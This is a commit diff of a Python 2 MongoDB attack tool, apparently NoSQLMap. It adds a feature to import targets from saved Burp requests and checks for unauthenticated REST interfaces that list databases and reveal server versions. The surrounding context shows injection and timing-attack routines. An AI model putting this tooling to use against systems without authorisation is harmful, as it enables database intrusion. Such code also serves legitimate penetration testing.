23
23
import urllib
24
24
import pymongo
25
25
import subprocess
26
+ import json
26
27
27
28
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
28
29
global optionSet
@@ -109,8 +110,9 @@ def options():
109
110
print "5-Set my local Mongo/Shell IP (Current: " + str (myIP ) + ")"
110
111
print "6-Set shell listener port (Current: " + str (myPort ) + ")"
111
112
print "7-Load options file"
112
- print "8-Save options file"
113
- print "9-Back to main menu"
113
+ print "8-Load options from saved Burp request"
114
+ print "9-Save options file"
115
+ print "x-Back to main menu"
114
116
115
117
select = raw_input ("Select an option: " )
116
118
@@ -188,8 +190,35 @@ def options():
188
190
except :
189
191
print "Couldn't load options file!"
190
192
options ()
191
-
193
+
192
194
elif select == "8" :
195
+ loadPath = raw_input ("Enter path to Burp request file: " )
196
+
197
+ try :
198
+ fo = open (loadPath ,"r" )
199
+ reqData = fo .readlines ()
200
+
201
+ except :
202
+ raw_input ("error reading file. Press enter to continue..." )
203
+ mainMenu ()
204
+
205
+ methodPath = reqData [0 ].split (" " )
206
+
207
+ if methodPath [0 ] == "GET" :
208
+ httpMethod = "GET"
209
+
210
+ elif methodPath [0 ] == "POST" :
211
+ httpMethod = "POST"
212
+ postData = reqData [len (reqData )- 1 ]
213
+ else :
214
+ print "unsupported method in request header."
215
+
216
+ victim = reqData [1 ].split ( " " )[1 ].replace ("\r \n " ,"" )
217
+ optionSet [0 ] = True
218
+ uri = methodPath [1 ].replace ("\r \n " ,"" )
219
+ optList [2 ] = True
220
+
221
+ elif select == "9" :
193
222
savePath = raw_input ("Enter file name to save: " )
194
223
try :
195
224
fo = open (savePath , "wb" )
@@ -198,9 +227,10 @@ def options():
198
227
print "Options file saved!"
199
228
except :
200
229
print "Couldn't save options file."
201
- elif select == "9" :
202
- mainMenu ()
203
230
231
+ elif select == "x" :
232
+ mainMenu ()
233
+
204
234
def netAttacks (target ):
205
235
mgtOpen = False
206
236
webOpen = False
@@ -217,10 +247,7 @@ def netAttacks(target):
217
247
mgtOpen = True
218
248
219
249
except :
220
- print "MongoDB port closed."
221
-
222
-
223
-
250
+ print "MongoDB port closed."
224
251
225
252
elif srvNeedCreds == "y" or srvNeedCreds == "Y" :
226
253
srvUser = raw_input ("Enter server username: " )
@@ -243,17 +270,41 @@ def netAttacks(target):
243
270
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
244
271
if mgtRespCode == 200 :
245
272
print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
273
+ testRest = raw_input ("Start tests for REST Interface? " )
274
+
275
+ if testRest == "y" or testRest == "Y" :
276
+ restUrl = mgtUrl + "/listDatabases?text=1"
277
+ restResp = urllib .urlopen (restUrl ).read ()
278
+ restOn = restResp .find ('REST is not enabled.' )
279
+
280
+ if restOn == - 1 :
281
+ print "REST interface enabled!"
282
+ dbs = json .loads (restResp )
283
+ menuItem = 1
284
+ print "List of databases from REST API:"
285
+
286
+ for x in range (0 ,len (dbs ['databases' ])):
287
+ dbTemp = dbs ['databases' ][x ]['name' ]
288
+ print str (menuItem ) + "-" + dbTemp
289
+ menuItem += 1
290
+ print "\n "
291
+
292
+ else :
293
+ print "REST interface not enabled."
246
294
247
295
except :
248
296
249
- print "MongoDB web management closed or requires authentication."
297
+ print "MongoDB web management closed or requires authentication."
250
298
251
299
if mgtOpen == True :
252
300
#Ths is compiling server info?????
253
301
print "Server Info:"
254
- serverInfo = conn .server_info ()
255
- print serverInfo
256
-
302
+ mongoVer = conn .server_info ()['version' ]
303
+ print "MongoDB Version: " + mongoVer
304
+ mongoDebug = conn .server_info ()['debug' ]
305
+ print "Debugs enabled : " + str (mongoDebug )
306
+ mongoPlatform = conn .server_info ()['bits' ]
307
+ print "Platform: " + str (mongoPlatform ) + " bit"
257
308
print "\n "
258
309
259
310
try :
@@ -512,8 +563,8 @@ def webApps():
512
563
print "Injected response was smaller than random response. Injection may have worked but requires verification."
513
564
possAddrs .append (intThisNeqUri )
514
565
515
-
516
- doTimeAttack = raw_input ("Start timing based tests?" )
566
+ print " \n "
567
+ doTimeAttack = raw_input ("Start timing based tests? " )
517
568
518
569
if doTimeAttack == "y" or doTimeAttack == "Y" :
519
570
print "Starting Javascript string escape time based injection..."
0 commit comments